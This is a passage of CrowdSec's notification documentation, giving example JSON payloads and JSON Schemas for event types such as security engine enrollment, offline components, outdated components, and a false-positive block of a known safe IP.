"type": "string" }, { "type": "null" } ], "default": null, "description": "The city of the source", "title": "City" }, "latitude": { "anyOf": [ { "type": "number" }, { "type": "null" } ], "default": null, "description": "The latitude of the source", "title": "Latitude" }, "longitude": { "anyOf": [ { "type": "number" }, { "type": "null" } ], "default": null, "description": "The longitude of the source", "title": "Longitude" }, "rdns": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The rDNS of the source", "title": "Rdns" } }, "required": [ "scope", "value" ], "title": "AlertSource", "type": "object" } }, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "event_type": { "const": "alert_triggered", "default": "alert_triggered", "title": "Event Type", "type": "string" }, "uuid": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The alert UUID", "title": "Uuid" }, "message": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The alert message", "title": "Message" }, "scenario": { "description": "The attack scenario", "title": "Scenario", "type": "string" }, "behaviors": { "default": [], "description": "The attack behaviors", "items": { "$ref": "#/$defs/AlertBehavior" }, "title": "Behaviors", "type": "array" }, "start_at": { "description": "The attack start time", "format": "date-time", "title": "Start At", "type": "string" }, "stop_at": { "description": "The attack stop time", "format": "date-time", "title": "Stop At", "type": "string" }, "target": { "$ref": "#/$defs/AlertTarget", "description": "The target of the attack" }, "source": { "$ref": "#/$defs/AlertSource", "description": "The source of the attack" }, "is_manual_decision": { "default": false, "description": "Whether the decision was created manually", "title": "Is Manual Decision", "type": "boolean" }, "scenario_confidence": { "default": 0, "description": "The confidence of the scenario", "title": "Scenario Confidence", "type": "integer" } }, "required": [ "event_id", "organization_id", "event_timestamp", "event_type", "uuid", "message", "scenario", "behaviors", "start_at", "stop_at", "target", "source", "is_manual_decision", "scenario_confidence" ], "title": "AlertTriggered", "type": "object" } }, "required": [ "metadata", "details" ] } ``` ### Stack[โ€‹](#stack "Direct link to Stack") ![Stack](/assets/images/stack-f65390b49fa230bdd8bb6c6bb09842c9.png) info Multiple options can be selected in this category #### `Security Engine Enrolled`[โ€‹](#security-engine-enrolled "Direct link to security-engine-enrolled") A engine has been accepted to be enrolled within your organization or personal account JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "id": "12345677732339c3d12345164a8426sbnk6ll4iaazda1234", "version": "v1.6.3-rc4", "os" : {"name" : "ubuntu", "version": "22.04"}, "event_type": "security_engine_enrolled" } } ``` JSON Schema JSONCOPY ``` { "$defs": { "OperatingSystem": { "properties": { "name": { "title": "Name", "type": "string" }, "version": { "title": "Version", "type": "string" } }, "required": [ "name", "version" ], "title": "OperatingSystem", "type": "object" } }, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "id": { "description": "ID of the security engine", "examples": [ "12345677732339c3d12345164a8426sbnk6ll4iaazda1234" ], "title": "Id", "type": "string" }, "version": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "Version of the security engine", "examples": [ "v1.6.3-rc4" ], "title": "Version" }, "os": { "anyOf": [ { "$ref": "#/$defs/OperatingSystem" }, { "type": "null" } ], "default": null, "description": "Operating System of the security engine", "examples": [ "Linux" ] }, "event_type": { "const": "security_engine_enrolled", "default": "security_engine_enrolled", "title": "Event Type", "type": "string" } }, "required": [ "event_id", "organization_id", "event_timestamp", "id", "version", "os", "event_type" ], "title": "SecurityEngineEnrolled", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `Security Engine Unenrolled`[โ€‹](#security-engine-unenrolled "Direct link to security-engine-unenrolled") Security engine has been removed from your organization or personal account This can happen under these scenarios: * User has manually removed the engine * Automatic removal has occurred due to `Settings > Security Engines > Inactive Policy` JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "id": "12345677732339c3d12345164a8426sbnk6ll4iaazda1234", "version": "v1.6.3-rc4", "os" : {"name" : "ubuntu", "version": "22.04"}, "event_type": "security_engine_unenrolled" } } ``` JSON Schema JSONCOPY ``` { "$defs": { "OperatingSystem": { "properties": { "name": { "title": "Name", "type": "string" }, "version": { "title": "Version", "type": "string" } }, "required": [ "name", "version" ], "title": "OperatingSystem", "type": "object" } }, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "id": { "description": "ID of the security engine", "examples": [ "12345677732339c3d12345164a8426sbnk6ll4iaazda1234" ], "title": "Id", "type": "string" }, "version": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "Version of the security engine", "examples": [ "v1.6.3-rc4" ], "title": "Version" }, "os": { "anyOf": [ { "$ref": "#/$defs/OperatingSystem" }, { "type": "null" } ], "default": null, "description": "Operating System of the security engine", "examples": [ "Linux" ] }, "event_type": { "const": "security_engine_unenrolled", "default": "security_engine_unenrolled", "title": "Event Type", "type": "string" } }, "required": [ "event_id", "organization_id", "event_timestamp", "id", "version", "os", "event_type" ], "title": "SecurityEngineUnenrolled", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `Security Engine Long Pending Enroll`[โ€‹](#security-engine-long-pending-enroll "Direct link to security-engine-long-pending-enroll") JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "id": "12345677732339c3d12345164a8426sbnk6ll4iaazda1234", "version": "v1.6.3-rc4", "os" : {"name" : "ubuntu", "version": "22.04"}, "event_type": "security_engine_long_pending_enroll" } } ``` JSON Schema JSONCOPY ``` { "$defs": { "OperatingSystem": { "properties": { "name": { "title": "Name", "type": "string" }, "version": { "title": "Version", "type": "string" } }, "required": [ "name", "version" ], "title": "OperatingSystem", "type": "object" } }, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "id": { "description": "ID of the security engine", "examples": [ "12345677732339c3d12345164a8426sbnk6ll4iaazda1234" ], "title": "Id", "type": "string" }, "version": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "Version of the security engine", "examples": [ "v1.6.3-rc4" ], "title": "Version" }, "os": { "anyOf": [ { "$ref": "#/$defs/OperatingSystem" }, { "type": "null" } ], "default": null, "description": "Operating System of the security engine", "examples": [ "Linux" ] }, "event_type": { "const": "security_engine_long_pending_enroll", "default": "security_engine_long_pending_enroll", "title": "Event Type", "type": "string" } }, "required": [ "event_id", "organization_id", "event_timestamp", "id", "version", "os", "event_type" ], "title": "LongPendingEnroll", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `Firewall Integration Offline`[โ€‹](#firewall-integration-offline "Direct link to firewall-integration-offline") A [Firewall Integration](https://docs.crowdsec.net/u/integrations/intro.md) has been classified as offline. This can happen for these scenarios: * Firewall has not actively pulled the contents for over 24 hours. JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "id": "12345677732339c3d12345164a8426sbnk6ll4iaazda1234", "name": "MyBlocklistIntegration", "last_pull": "2024-09-17T07:06:21", "event_type": "firewall_integration_offline" } } ``` JSON Schema JSONCOPY ``` { "$defs": {}, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "id": { "description": "ID of the blocklist integration", "examples": [ "12345677732339c3d12345164a8426sbnk6ll4iaazda1234" ], "title": "Id", "type": "string" }, "name": { "description": "Name of the blocklist integration", "examples": [ "MyBlocklistIntegration" ], "title": "Name", "type": "string" }, "last_pull": { "description": "Last time the blocklist integration pulled", "examples": [ "2024-09-17T07:06:21" ], "title": "Last Pull", "type": "string" }, "event_type": { "const": "firewall_integration_offline", "default": "firewall_integration_offline", "title": "Event Type", "type": "string" } }, "required": [ "event_id", "organization_id", "event_timestamp", "id", "name", "last_pull", "event_type" ], "title": "FirewallIntegrationOffline", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `Remediation Component Integration Offline`[โ€‹](#remediation-component-integration-offline "Direct link to remediation-component-integration-offline") A [Remediation Component Integration](https://docs.crowdsec.net/u/integrations/remediationcomponent.md) has been classified as offline. This can happen for these scenarios: * Remediation Component has not actively pulled the contents for over 24 hours. JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "id": "12345677732339c3d12345164a8426sbnk6ll4iaazda1234", "name": "MyBlocklistIntegration", "last_pull": "2024-09-17T07:06:21", "event_type": "remediation_component_integration_offline" } } ``` JSON Schema JSONCOPY ``` { "$defs": {}, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "id": { "description": "ID of the blocklist integration", "examples": [ "12345677732339c3d12345164a8426sbnk6ll4iaazda1234" ], "title": "Id", "type": "string" }, "name": { "description": "Name of the blocklist integration", "examples": [ "MyBlocklistIntegration" ], "title": "Name", "type": "string" }, "last_pull": { "description": "Last time the blocklist integration pulled", "examples": [ "2024-09-17T07:06:21" ], "title": "Last Pull", "type": "string" }, "event_type": { "const": "remediation_component_integration_offline", "default": "remediation_component_integration_offline", "title": "Event Type", "type": "string" } }, "required": [ "event_id", "organization_id", "event_timestamp", "id", "name", "last_pull", "event_type" ], "title": "RemediationComponentIntegrationOffline", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `Log Processor No Alerts`[โ€‹](#log-processor-no-alerts "Direct link to log-processor-no-alerts") A Log Processor has not pushed any alerts for over 48 hours. JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "id": "12345677732339c3d12345164a8426sbnk6ll4iaazda1234", "name": "MyLogProcessor", "version": "v1.6.3-rc4", "event_type": "log_processor_no_alerts", "last_push": "2025-05-17T07:06:21" } } ``` JSON Schema JSONCOPY ``` { "$defs": {}, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "id": { "description": "ID of the Log Processor", "examples": [ "12345677732339c3d12345164a8426sbnk6ll4iaazda1234" ], "title": "Id", "type": "string" }, "name": { "description": "Name of the Log Processor", "examples": [ "MyLogProcessor" ], "title": "Name", "type": "string" }, "version": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "Version of the Log Processor", "examples": [ "v1.6.3-rc4" ], "title": "Version" }, "last_push": { "title": "Last Push", "type": "string" }, "event_type": { "const": "log_processor_no_alerts", "default": "log_processor_no_alerts", "title": "Event Type", "type": "string" } }, "required": [ "event_id", "organization_id", "event_timestamp", "id", "name", "version", "last_push", "event_type" ], "title": "LogProcessorNoAlerts", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `CrowdSec Stack Component Outdated`[โ€‹](#crowdsec-stack-component-outdated "Direct link to crowdsec-stack-component-outdated") A CrowdSec Stack Component is outdated. This can happen for these scenarios: * A new version of CrowdSec has been released. * A new version of a Hub listed Remediation Component has been released\*\*. \*\*The remediation component must send the semantic version to the Security Engine via the UserAgent header, note that all first party remediation components do this. JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "event_type": "component_outdated", "nb_remediation_component": 10, "nb_log_processor": 10, "nb_security_engine": 10 } } ``` JSON Schema JSONCOPY ``` { "$defs": {}, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "event_type": { "const": "component_outdated", "default": "component_outdated", "title": "Event Type", "type": "string" }, "nb_remediation_component": { "description": "Number of remediation component", "examples": [ 10 ], "title": "Nb Remediation Component", "type": "integer" }, "nb_log_processor": { "description": "Number of log processor", "examples": [ 10 ], "title": "Nb Log Processor", "type": "integer" }, "nb_security_engine": { "description": "Number of security engine", "examples": [ 10 ], "title": "Nb Security Engine", "type": "integer" } }, "required": [ "event_id", "organization_id", "event_timestamp", "event_type", "nb_remediation_component", "nb_log_processor", "nb_security_engine" ], "title": "ComponentOutdated", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `Log Processor Offline`[โ€‹](#log-processor-offline "Direct link to log-processor-offline") A Log Processor has been offline for more than 24 hours. JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "id": "12345677732339c3d12345164a8426sbnk6ll4iaazda1234", "name": "MyLogProcessor", "version": "v1.6.3-rc4", "last_update": "2024-09-17T07:06:21", "event_type": "log_processor_offline" } } ``` JSON Schema JSONCOPY ``` { "$defs": {}, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "id": { "description": "ID of the Log Processor", "examples": [ "12345677732339c3d12345164a8426sbnk6ll4iaazda1234" ], "title": "Id", "type": "string" }, "name": { "description": "Name of the Log Processor", "examples": [ "MyLogProcessor" ], "title": "Name", "type": "string" }, "version": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "Version of the Log Processor", "examples": [ "v1.6.3-rc4" ], "title": "Version" }, "last_update": { "description": "Last time the Log Processor updated", "examples": [ "2024-09-17T07:06:21" ], "title": "Last Update", "type": "string" }, "event_type": { "const": "log_processor_offline", "default": "log_processor_offline", "title": "Event Type", "type": "string" } }, "required": [ "event_id", "organization_id", "event_timestamp", "id", "name", "version", "last_update", "event_type" ], "title": "LogProcessorOffline", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `Remediation Component Offline`[โ€‹](#remediation-component-offline "Direct link to remediation-component-offline") A Remediation Component has not pulled from the Security Engine in over 24 hours. JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "id": "12345677732339c3d12345164a8426sbnk6ll4iaazda1234", "name": "MyRemediationComponent", "version": "v0.22", "event_type": "remediation_component_offline", "last_pull": "2024-09-17T07:06:21" } } ``` JSON Schema JSONCOPY ``` { "$defs": {}, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "id": { "description": "ID of the remediation component", "examples": [ "12345677732339c3d12345164a8426sbnk6ll4iaazda1234" ], "title": "Id", "type": "string" }, "name": { "description": "Name of the remediation component", "examples": [ "MyBlocklistIntegration" ], "title": "Name", "type": "string" }, "version": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "Version of the remediation component", "examples": [ "v0.22" ], "title": "Version" }, "last_pull": { "title": "Last Pull", "type": "string" }, "event_type": { "const": "remediation_component_offline", "default": "remediation_component_offline", "title": "Event Type", "type": "string" } }, "required": [ "event_id", "organization_id", "event_timestamp", "id", "name", "version", "last_pull", "event_type" ], "title": "RemediationComponentOffline", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `Security Engine No Alerts`[โ€‹](#security-engine-no-alerts "Direct link to security-engine-no-alerts") A Security Engine has not pushed any alerts for over 48 hours. JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "id": "12345677732339c3d12345164a8426sbnk6ll4iaazda1234", "version": "v1.6.3-rc4", "os" : {"name" : "ubuntu", "version": "22.04"}, "last_push": "2024-09-17T07:06:21", "event_type": "security_engine_no_alerts", "name": "MySecurityEngine" } } ``` JSON Schema JSONCOPY ``` { "$defs": { "OperatingSystem": { "properties": { "name": { "title": "Name", "type": "string" }, "version": { "title": "Version", "type": "string" } }, "required": [ "name", "version" ], "title": "OperatingSystem", "type": "object" } }, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "id": { "description": "ID of the security engine", "examples": [ "12345677732339c3d12345164a8426sbnk6ll4iaazda1234" ], "title": "Id", "type": "string" }, "version": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "Version of the security engine", "examples": [ "v1.6.3-rc4" ], "title": "Version" }, "os": { "anyOf": [ { "$ref": "#/$defs/OperatingSystem" }, { "type": "null" } ], "default": null, "description": "Operating System of the security engine", "examples": [ "Linux" ] }, "last_push": { "description": "Last time the security engine pushed", "examples": [ "2024-09-17T07:06:21" ], "title": "Last Push", "type": "string" }, "event_type": { "const": "security_engine_no_alerts", "default": "security_engine_no_alerts", "title": "Event Type", "type": "string" }, "name": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "description": "Name of the security engine", "examples": [ "MySecurityEngine" ], "title": "Name" } }, "required": [ "event_id", "organization_id", "event_timestamp", "id", "version", "os", "last_push", "event_type", "name" ], "title": "SecurityEngineNoAlerts", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `Security Engine Offline`[โ€‹](#security-engine-offline "Direct link to security-engine-offline") A Security Engine has been offline for more than 48 hours. JSONCOPY ``` { "metadata": { "version": 1, "issuer": "crowdsec.net" }, "details": { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2021-07-29T12:00:00+00:00", "id": "12345677732339c3d12345164a8426sbnk6ll4iaazda1234", "version": "v1.6.3-rc4", "os" : {"name" : "ubuntu", "version": "22.04"}, "event_type": "security_engine_offline", "last_login": "2024-09-17T07:06:21", "name": "MySecurityEngine" } } ``` JSON Schema JSONCOPY ``` { "$defs": { "OperatingSystem": { "properties": { "name": { "title": "Name", "type": "string" }, "version": { "title": "Version", "type": "string" } }, "required": [ "name", "version" ], "title": "OperatingSystem", "type": "object" } }, "type": "object", "properties": { "metadata": { "type": "object", "properties": { "version": { "type": "integer", "const": 1 }, "issuer": { "type": "string", "const": "crowdsec.net" } }, "required": [ "version", "issuer" ] }, "details": { "properties": { "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "organization_id": { "description": "Organization ID of the source event", "examples": [ "12345678-1234-1234-1234-123456789012" ], "title": "Organization Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "id": { "description": "ID of the security engine", "examples": [ "12345677732339c3d12345164a8426sbnk6ll4iaazda1234" ], "title": "Id", "type": "string" }, "version": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "Version of the security engine", "examples": [ "v1.6.3-rc4" ], "title": "Version" }, "os": { "anyOf": [ { "$ref": "#/$defs/OperatingSystem" }, { "type": "null" } ], "default": null, "description": "Operating System of the security engine", "examples": [ "Linux" ] }, "last_login": { "title": "Last Login", "type": "string" }, "event_type": { "const": "security_engine_offline", "default": "security_engine_offline", "title": "Event Type", "type": "string" }, "name": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "description": "Name of the security engine", "examples": [ "MySecurityEngine" ], "title": "Name" } }, "required": [ "event_id", "organization_id", "event_timestamp", "id", "version", "os", "last_login", "event_type", "name" ], "title": "SecurityEngineOffline", "type": "object" } }, "required": [ "metadata", "details" ] } ``` #### `Blocking Known Safe IP`[โ€‹](#blocking-known-safe-ip "Direct link to blocking-known-safe-ip") A known safe or legitimate IP address was blocked (false positive) JSONCOPY ``` { "event_id": "c6d468d4f1084ebca84165c33f97fbc4", "organization_id": "12345678-1234-1234-1234-123456789012", "event_timestamp": "2025-07-10T09:11:33.359703Z", "event_type": "blocking_safe_ip", "uuid": "alert-uuid-1234", "message": "Suspicious SSH behavior detected", "scenario": "ssh-brute-force", "behaviors": [ { "name": "Brute Force", "description": "Multiple failed SSH login attempts detected in short time", "label": "SSH Brute Force" }, { "name": "Port Scan", "description": "Scanning activity detected on multiple ports", "label": "Scan" } ], "start_at": "2025-07-10T09:11:26.584612Z", "stop_at": "2025-07-10T09:11:26.584612Z", "target": { "ip": "192.168.1.10", "id": "machine-01", "name": "internal-server-01" }, "source": { "scope": "ip", "value": "203.0.113.25", "as_name": "ExampleISP", "as_number": 64512, "country": "US", "city": "San Francisco", "latitude": 37.7749, "longitude": -122.4194, "rdns": "25.113.0.203.example.com" }, "is_manual_decision": false, "scenario_confidence": 0, "false_positives": [ { "name": "cdn:example_exit_node", "description": "IP is an Example CDN exit IP and should not be flagged as a threat.", "label": "Example CDN" } ] } ``` JSON Schema JSONCOPY ``` { "$defs": { "AlertBehavior": { "properties": { "description": { "description": "The attack behavior description", "title": "Description", "type": "string" }, "label": { "description": "The attack behavior label", "title": "Label", "type": "string" }, "name": { "description": "The attack behavior name", "title": "Name", "type": "string" } }, "required": [ "name", "description", "label" ], "title": "AlertBehavior", "type": "object" }, "AlertSource": { "properties": { "as_name": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The AS name of the source", "title": "As Name" }, "as_number": { "anyOf": [ { "type": "integer" }, { "type": "null" } ], "default": null, "description": "The AS number of the source", "title": "As Number" }, "city": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The city of the source", "title": "City" }, "country": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The country of the source", "title": "Country" }, "latitude": { "anyOf": [ { "type": "number" }, { "type": "null" } ], "default": null, "description": "The latitude of the source", "title": "Latitude" }, "longitude": { "anyOf": [ { "type": "number" }, { "type": "null" } ], "default": null, "description": "The longitude of the source", "title": "Longitude" }, "rdns": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The rDNS of the source", "title": "Rdns" }, "scope": { "description": "The scope of the value", "title": "Scope", "type": "string" }, "value": { "description": "The value of the source", "title": "Value", "type": "string" } }, "required": [ "scope", "value" ], "title": "AlertSource", "type": "object" }, "AlertTarget": { "properties": { "id": { "description": "The id of the machine targeted by the attack", "title": "Id", "type": "string" }, "ip": { "description": "The IP targeted by the attack", "title": "Ip", "type": "string" }, "name": { "anyOf": [ { "type": "string" }, { "type": "null" } ], "default": null, "description": "The name of the machine targeted by the attack", "title": "Name" } }, "required": [ "ip", "id" ], "title": "AlertTarget", "type": "object" }, "FalsePositive": { "properties": { "description": { "description": "The description of the false positive", "title": "Description", "type": "string" }, "label": { "description": "The label of the false positive", "title": "Label", "type": "string" }, "name": { "description": "The name of the false positive", "title": "Name", "type": "string" } }, "required": [ "name", "description", "label" ], "title": "FalsePositive", "type": "object" } }, "properties": { "behaviors": { "default": [], "description": "The attack behaviors", "items": { "$ref": "#/$defs/AlertBehavior" }, "title": "Behaviors", "type": "array" }, "event_id": { "description": "ID of the source event", "examples": [ "c6d468d4f1084ebca84165c33f97fbc4" ], "title": "Event Id", "type": "string" }, "event_timestamp": { "description": "Timestamp of the source event", "examples": [ "2021-07-29T12:00:00+00:00" ], "format": "date-time", "title": "Event Timestamp", "type": "string" }, "event_type": { "const": "blocking_safe_ip", "default": "blocking_safe_ip", "title": "Event Type", "type": "string" }, "false_positives": { "anyOf": [ { "items": { "$ref": "#/$defs/FalsePositive" }, "type": "array" }, { "type": "null" } ], "description": "List of false positive identifiers", "title": "False Positives" }, "is_manual_decision": { "default": false, 